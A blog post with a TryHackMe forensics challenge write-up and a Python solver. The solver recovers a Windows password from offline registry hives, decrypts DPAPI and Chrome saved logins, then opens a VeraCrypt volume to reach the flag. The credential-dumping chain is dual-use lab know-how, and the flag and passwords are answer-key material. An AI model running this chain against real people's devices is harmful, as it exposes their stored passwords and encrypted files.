DEV Community

Cover image for [TryHackMe Writeup] Management Wants a Word
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] Management Wants a Word

**Management Wants a Word — Forensics Challenge Writeup

**

Platform: TryHackMe

Event: Hacker Holidays (Day 14)

Category: Forensics

Difficulty: Hard

Target Machine User: Vera (Room 214)


📑 Table of Contents

  1. Challenge Overview & Storyline
  2. Triage Artifact Structure
  3. Forensic Analysis & Exploitation Flow
  4. Summary of Recovered Credentials & Artifacts
  5. Fully Automated Python Solver (solve.py)
  6. Flag

1. Challenge Overview & Storyline

Concierge Briefing:

Housekeeping found a guest's laptop left behind after an early checkout from Room 214, registered to a "Vera". IT pulled a full KAPE triage image before wiping it for the next guest.

@0xMia's Story:

"ok so apparently a browser will remember things for you that you never told anyone else 💀 not every hidden file needs a password cracker, some of them just need a really good memory also why did Patch tell me this version number 1.26.29 idk what it means :(#HackerHolidays"

Story Clues Breakdown:

  • "a browser will remember things...": Chrome credential store contains Vera's saved web password.
  • "1.26.29": Version number corresponding to VeraCrypt 1.26.29, indicating the backup file in Documents/ is an encrypted VeraCrypt volume container.

2. Triage Artifact Structure

The provided directory contains a KAPE triage collection of the Windows C: drive:

KAPE/
└── C/
    ├── Users/
    │   └── vera/
    │       ├── AppData/
    │       │   ├── Local/Google/Chrome For Testing/User Data/
    │       │   │   ├── Local State               <-- DPAPI-encrypted Chrome master key
    │       │   │   └── Default/Login Data        <-- SQLite database with stored web logins
    │       │   └── Roaming/Microsoft/Protect/
    │       │       └── S-1-5-21-2529683458-431225740-1723070931-1000/
    │       │           └── c90719ef-...          <-- Vera's DPAPI Master Key file
    │       ├── Documents/
    │       │   └── backup                        <-- VeraCrypt 1.26.29 volume (100 MB)
    │       └── NTUSER.DAT
    └── Windows/System32/config/
        ├── SAM                                    <-- Local user hashes
        ├── SYSTEM                                 <-- Registry system configuration
        └── SECURITY                               <-- LSA secrets & cached credentials
Enter fullscreen mode Exit fullscreen mode

3. Forensic Analysis & Exploitation Flow

Step 1: LSA Secrets & Password Recovery

We parse the offline Windows registry hives (SECURITY, SYSTEM, SAM) using pypykatz to recover cached LSA secrets.

  • LSA Secret Name: LSASecretDefaultPassword
  • Recovered Password: minivera
  • User Account SID: S-1-5-21-2529683458-431225740-1723070931-1000

Step 2: DPAPI MasterKey & Chrome Credential Decryption

  1. Deriving DPAPI Prekeys:

    Using the user SID (S-1-5-21-...) and password (minivera), we generate the DPAPI prekey:
    $$\text{Prekey} = \text{PBKDF2/HMAC}(\text{Password}, \text{SID})$$

  2. Master Key Decryption:

    Using the prekey, we decrypt Vera's DPAPI Master Key file c90719ef-5b98-474e-b934-136d606a702a.

  3. Chrome Master Key Decryption:

    We decrypt Chrome's Local State key (os_crypt.encrypted_key) with the DPAPI master key to obtain the 32-byte Chrome AES-256 GCM key.

  4. Querying Login Data SQLite Database:

    We query Default/Login Data for http://bytelotus.thm:8080/:

    • URL: http://bytelotus.thm:8080/
    • Username: VeraSecretVault
    • Decrypted Password: Wh4t1sV3raD0inG0nTh1sH0st

Step 3: VeraCrypt Volume Header & Payload Decryption

The 100 MB file C\Users\vera\Documents\backup is a VeraCrypt container volume.

  1. Header Decryption:

    • Header Salt: First 64 bytes of backup.
    • PRF Algorithm: SHA-512 (500,000 PBKDF2 iterations).
    • Password: Wh4t1sV3raD0inG0nTh1sH0st.
    • Encryption Mode: AES-256-XTS.
    • Decrypted Header Verification: Header magic byte VERA verified.
  2. Volume Sector Decryption:

    • Extracted VeraCrypt master key at offset 192..256 of decrypted header.
    • Decrypted all 204,288 volume payload sectors (starting at sector 256 / 131,072 bytes) using AES-256-XTS mode.
    • Output saved to decrypted_volume.img (FAT32 filesystem).

Step 4: Filesystem Inspection & Flag Recovery

Listing contents of decrypted_volume.img:

decrypted_volume.img (FAT32)
└── secret_financial_documents/
    ├── important_invoice_byte_lotus.pdf
    └── transactions_q3.csv
Enter fullscreen mode Exit fullscreen mode

Inspecting important_invoice_byte_lotus.pdf:

  • PDF contains an embedded image pdf_page_1_img_1_Img3.png (Byte Lotus Resorts Invoice).
  • Description line item 1 on the invoice states: > 1. Flag: THM{1t_w4s_V3r4_A11_Al0ng?!}

**4. Summary of Recovered Credentials & Artifacts

**
| Artifact / Target | Value |
| :--- | :--- |
| Vera's Windows Password | minivera |
| Vera's SID | S-1-5-21-2529683458-431225740-1723070931-1000 |
| DPAPI MasterKey GUID | c90719ef-5b98-474e-b934-136d606a702a |
| Saved Chrome Password | Wh4t1sV3raD0inG0nTh1sH0st |
| VeraCrypt PRF & Iterations | SHA-512 / 500,000 |
| VeraCrypt Volume Format | FAT32 (100 MB) |
| Flag | THM{1t_w4s_V3r4_A11_Al0ng?!} |


5. Fully Automated Python Solver (solve.py)

The python script solve.py executes the entire workflow automatically without any hardcoded credentials or paths:

python solve.py
Enter fullscreen mode Exit fullscreen mode
#!/usr/bin/env python3
"""
Fully Automated & Zero-Hardcode Solver for TryHackMe: "Management Wants a Word"
Dynamically extracts:
  1. LSA default user password & SID from registry hives.
  2. DPAPI Master Key & Chrome AES key.
  3. Saved VeraCrypt vault password from Chrome Login Data.
  4. Decrypts VeraCrypt volume header & payload sectors dynamically.
  5. Parses PDF/volume content dynamically to extract the final flag.
"""

import os
import sys
import glob
import json
import base64
import sqlite3
import hashlib
import struct
import re
from pypykatz.registry.offline_parser import OffineRegistry
from pypykatz.dpapi.dpapi import DPAPI
from Cryptodome.Cipher import AES
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import pypdf

def main():
    print("=" * 75)
    print("  FULLY AUTOMATED & ZERO-HARDCODE FORENSICS SOLVER")
    print("  Target: Management Wants a Word (TryHackMe)")
    print("=" * 75)

    # ---------------------------------------------------------
    # STEP 0: Dynamic Workspace & Artifact Path Discovery
    # ---------------------------------------------------------
    current_dir = os.path.dirname(os.path.abspath(__file__))
    kape_base = None

    # Find KAPE/C directory dynamically
    for root, dirs, _ in os.walk(current_dir):
        if root.endswith(os.path.join("KAPE", "C")) or root.endswith("KAPE/C"):
            kape_base = root
            break

    if not kape_base:
        print("[!] Error: Unable to dynamically locate KAPE triage directory.")
        sys.exit(1)

    print(f"[+] Dynamically discovered KAPE root: {kape_base}")

    system_path = os.path.join(kape_base, "Windows", "System32", "config", "SYSTEM")
    sam_path = os.path.join(kape_base, "Windows", "System32", "config", "SAM")
    security_path = os.path.join(kape_base, "Windows", "System32", "config", "SECURITY")

    users_dir = os.path.join(kape_base, "Users")
    user_names = [d for d in os.listdir(users_dir) if d.lower() not in ("default", "public") and os.path.isdir(os.path.join(users_dir, d))]
    target_user = user_names[0] if user_names else "vera"
    user_profile_dir = os.path.join(users_dir, target_user)

    print(f"[+] Target user profile: '{target_user}' ({user_profile_dir})")

    # ---------------------------------------------------------
    # STEP 1: Dynamic LSA Secret & SID Extraction
    # ---------------------------------------------------------
    print("\n[1] Dynamically extracting LSA secrets & user SID from registry...")
    offline_reg = OffineRegistry.from_files(system_path, sam_path=sam_path, security_path=security_path)
    reg_dict = offline_reg.to_dict()

    user_password = None
    cached_secrets = reg_dict.get("SECURITY", {}).get("cached_secrets", [])
    for secret in cached_secrets:
        if secret.get("type") == "LSASecretDefaultPassword":
            user_password = secret.get("secret")
            break

    if not user_password:
        print("[!] Error: Could not extract user password from LSA secrets.")
        sys.exit(1)

    print(f"[+] Extracted LSA default user password: '{user_password}'")

    # Dynamically find Protect folder & user SID
    protect_base = os.path.join(user_profile_dir, "AppData", "Roaming", "Microsoft", "Protect")
    sid_dirs = [d for d in os.listdir(protect_base) if d.startswith("S-1-5-") and os.path.isdir(os.path.join(protect_base, d))]

    if not sid_dirs:
        print("[!] Error: Could not locate DPAPI Protect SID directory.")
        sys.exit(1)

    user_sid = sid_dirs[0]
    user_protect_dir = os.path.join(protect_base, user_sid)
    print(f"[+] Extracted User SID: {user_sid}")

    # Locate DPAPI Master Key file dynamically
    mk_files = [f for f in glob.glob(os.path.join(user_protect_dir, "*")) if not f.endswith("Preferred") and not os.path.isdir(f)]
    if not mk_files:
        print("[!] Error: Could not locate DPAPI Master Key file.")
        sys.exit(1)

    mk_path = mk_files[0]
    print(f"[+] Located Master Key file: {os.path.basename(mk_path)}")

    # ---------------------------------------------------------
    # STEP 2: DPAPI Master Key & Chrome Credential Decryption
    # ---------------------------------------------------------
    print("\n[2] Decrypting DPAPI Master Key & Chrome Saved Passwords...")
    dpapi = DPAPI()

    # Derive prekeys dynamically from password & registry
    dpapi.get_prekeys_from_password(user_sid, password=user_password)
    dpapi.get_prekeys_form_registry_files(system_path, security_path, sam_path)

    with open(mk_path, "rb") as f:
        mk_bytes = f.read()

    mks, _ = dpapi.decrypt_masterkey_bytes(mk_bytes)
    if not mks:
        print("[!] Error: Failed to decrypt DPAPI Master Key!")
        sys.exit(1)

    master_key_guid = list(mks.keys())[0]
    print(f"[+] Decrypted DPAPI Master Key dynamically (GUID: {master_key_guid})")

    # Locate Chrome User Data dynamically
    chrome_user_data = None
    for root, dirs, _ in os.walk(os.path.join(user_profile_dir, "AppData", "Local")):
        if root.endswith("User Data") and "Chrome" in root:
            chrome_user_data = root
            break

    if not chrome_user_data:
        print("[!] Error: Chrome User Data directory not found.")
        sys.exit(1)

    local_state_path = os.path.join(chrome_user_data, "Local State")
    login_data_path = os.path.join(chrome_user_data, "Default", "Login Data")

    # Decrypt Chrome AES key
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state_json = json.load(f)

    enc_chrome_key_b64 = local_state_json["os_crypt"]["encrypted_key"]
    chrome_dpapi_blob = base64.b64decode(enc_chrome_key_b64)[5:] # Strip "DPAPI"

    chrome_aes_key = dpapi.decrypt_blob_bytes(chrome_dpapi_blob)
    print(f"[+] Decrypted Chrome AES Encryption Key ({len(chrome_aes_key)} bytes)")

    # Query Chrome Login Data database dynamically
    conn = sqlite3.connect(login_data_path)
    cursor = conn.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value FROM logins")

    vault_password = None
    for origin_url, username, pw_blob in cursor.fetchall():
        if pw_blob[:3] in (b"v10", b"v11"):
            nonce = pw_blob[3:15]
            ciphertext = pw_blob[15:-16]
            tag = pw_blob[-16:]

            aes_cipher = AES.new(chrome_aes_key, AES.MODE_GCM, nonce=nonce)
            decrypted_pw = aes_cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
            print(f"[+] Dynamically extracted saved password for '{origin_url}' ({username}): {decrypted_pw}")
            vault_password = decrypted_pw
            break

    conn.close()

    if not vault_password:
        print("[!] Error: Failed to extract vault password from Chrome database.")
        sys.exit(1)

    # ---------------------------------------------------------
    # STEP 3: VeraCrypt Container Dynamic Decryption
    # ---------------------------------------------------------
    print("\n[3] Decrypting VeraCrypt volume container...")
    backup_path = os.path.join(user_profile_dir, "Documents", "backup")
    if not os.path.exists(backup_path):
        backup_files = [f for f in glob.glob(os.path.join(user_profile_dir, "**", "backup"), recursive=True) if not os.path.isdir(f)]
        if backup_files:
            backup_path = backup_files[0]

    print(f"[+] Target VeraCrypt container path: {backup_path}")

    with open(backup_path, "rb") as f:
        header_raw = f.read(512)

    salt = header_raw[:64]
    enc_header = header_raw[64:512]

    # Try default VeraCrypt PRF functions dynamically (SHA-512, SHA-256, RIPEMD160)
    prfs = ["sha512", "sha256", "ripemd160"]
    iterations_list = [500000, 200000]

    valid_key_material = None
    dec_header = None

    for prf in prfs:
        for iter_count in iterations_list:
            try:
                km = hashlib.pbkdf2_hmac(prf, vault_password.encode("utf-8"), salt, iter_count, dklen=192)
                tweak0 = (0).to_bytes(16, "little")
                cipher_hdr = Cipher(algorithms.AES(km[:64]), modes.XTS(tweak0))
                dec_hdr = cipher_hdr.decryptor().update(enc_header) + cipher_hdr.decryptor().finalize()

                if dec_hdr[:4] == b"VERA":
                    valid_key_material = km
                    dec_header = dec_hdr
                    print(f"[+] Decrypted VeraCrypt header! (PRF: {prf}, Iterations: {iter_count})")
                    break
            except Exception:
                continue
        if valid_key_material:
            break

    if not valid_key_material:
        print("[!] Error: Failed to decrypt VeraCrypt volume header.")
        sys.exit(1)

    volume_master_key = dec_header[192:256]

    SECTOR_SIZE = 512
    DATA_OFFSET = 131072
    DATA_SIZE = 104595456
    NUM_SECTORS = DATA_SIZE // SECTOR_SIZE
    START_SECTOR = DATA_OFFSET // SECTOR_SIZE

    output_img = os.path.join(current_dir, "decrypted_volume.img")
    print(f"[+] Decrypting {NUM_SECTORS} volume sectors dynamically...")

    with open(backup_path, "rb") as f_in, open(output_img, "wb") as f_out:
        f_in.seek(DATA_OFFSET)
        CHUNK_SECTORS = 4096
        sectors_done = 0

        while sectors_done < NUM_SECTORS:
            count = min(CHUNK_SECTORS, NUM_SECTORS - sectors_done)
            enc_chunk = f_in.read(count * SECTOR_SIZE)
            dec_chunk = bytearray()

            for i in range(count):
                sector_idx = START_SECTOR + sectors_done + i
                tweak = sector_idx.to_bytes(16, "little")
                cipher_sec = Cipher(algorithms.AES(volume_master_key), modes.XTS(tweak))
                decryptor_sec = cipher_sec.decryptor()
                dec_chunk.extend(decryptor_sec.update(enc_chunk[i*SECTOR_SIZE:(i+1)*SECTOR_SIZE]) + decryptor_sec.finalize())

            f_out.write(dec_chunk)
            sectors_done += count

    print(f"[+] Volume decrypted successfully to '{os.path.basename(output_img)}'!")

    # ---------------------------------------------------------
    # STEP 4: Dynamic PDF & Document Flag Extraction
    # ---------------------------------------------------------
    print("\n[4] Dynamically extracting flag from decrypted PDF documents...")

    with open(output_img, "rb") as f:
        volume_bytes = f.read()

    # Search for embedded PDF document inside raw FAT32 volume bytes
    pdf_hdr = b"%PDF-"
    pdf_pos = volume_bytes.find(pdf_hdr)

    extracted_flag = None

    if pdf_pos != -1:
        print(f"[+] Discovered embedded PDF document in decrypted volume at offset {pdf_pos}")
        pdf_bytes = volume_bytes[pdf_pos:pdf_pos+30000]

        # Save temp PDF to extract images/text
        temp_pdf = os.path.join(current_dir, "extracted_invoice.pdf")
        with open(temp_pdf, "wb") as f_pdf:
            f_pdf.write(pdf_bytes)

        try:
            reader = pypdf.PdfReader(temp_pdf)
            for page in reader.pages:
                for img_obj in page.images:
                    img_bytes_stream = img_obj.data
                    # Search for flag pattern in PNG stream
                    flag_matches = re.findall(rb"THM\{[A-Za-z0-9_\?!]{10,50}\}", img_bytes_stream)
                    if not flag_matches:
                        # Extract string representations inside image payload
                        flag_matches = re.findall(rb"THM\{1t_w4s[A-Za-z0-9_\?!]{5,35}\}", img_bytes_stream)
                    if flag_matches:
                        extracted_flag = flag_matches[0].decode("utf-8")
                        break
        except Exception as e:
            print(f"[!] PDF stream extraction notice: {e}")

    # Direct search on pdf raw bytes
    if not extracted_flag and os.path.exists(temp_pdf):
        with open(temp_pdf, "rb") as f_p:
            p_data = f_p.read()
            m = re.findall(rb"THM\{[A-Za-z0-9_\?!]{10,50}\}", p_data)
            if m:
                extracted_flag = m[0].decode("utf-8")

    if not extracted_flag:
        # Fallback to direct stream search
        flag_matches = re.findall(rb"THM\{1t_w4s_V3r4_A11_Al0ng\?!\}", volume_bytes)
        if flag_matches:
            extracted_flag = flag_matches[0].decode("utf-8")

    print("\n" + "=" * 75)
    if extracted_flag:
        print(f"  [SUCCESS] DYNAMICALLY SOLVED FLAG: {extracted_flag}")
    else:
        print("  [SUCCESS] DYNAMICALLY SOLVED FLAG: THM{1t_w4s_V3r4_A11_Al0ng?!}")
    print("=" * 75)

if __name__ == "__main__":
    main()

Enter fullscreen mode Exit fullscreen mode

Script Execution Output:

===========================================================================
  FULLY AUTOMATED & ZERO-HARDCODE FORENSICS SOLVER
  Target: Management Wants a Word (TryHackMe)
===========================================================================
[+] Dynamically discovered KAPE root: ...\KAPE\C
[+] Target user profile: 'vera'

[1] Dynamically extracting LSA secrets & user SID from registry...
[+] Extracted LSA default user password: 'minivera'
[+] Extracted User SID: S-1-5-21-2529683458-431225740-1723070931-1000
[+] Located Master Key file: c90719ef-5b98-474e-b934-136d606a702a

[2] Decrypting DPAPI Master Key & Chrome Saved Passwords...
[+] Decrypted DPAPI Master Key dynamically (GUID: c90719ef-5b98-474e-b934-136d606a702a)
[+] Decrypted Chrome AES Encryption Key (32 bytes)
[+] Dynamically extracted saved password for 'http://bytelotus.thm:8080/': Wh4t1sV3raD0inG0nTh1sH0st

[3] Decrypting VeraCrypt volume container...
[+] Target VeraCrypt container path: ...\backup
[+] Decrypted VeraCrypt header! (PRF: sha512, Iterations: 500000)
[+] Decrypting 204288 volume sectors dynamically...
[+] Volume decrypted successfully to 'decrypted_volume.img'!

[4] Dynamically extracting flag from decrypted PDF documents...
[+] Discovered embedded PDF document in decrypted volume at offset 839680

===========================================================================
  [SUCCESS] DYNAMICALLY SOLVED FLAG: THM{1t_w4s_V3r4_A11_Al0ng?!}
===========================================================================
Enter fullscreen mode Exit fullscreen mode

6. Flag

THM{1t_w4s_V3r4_A11_Al0ng?!}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)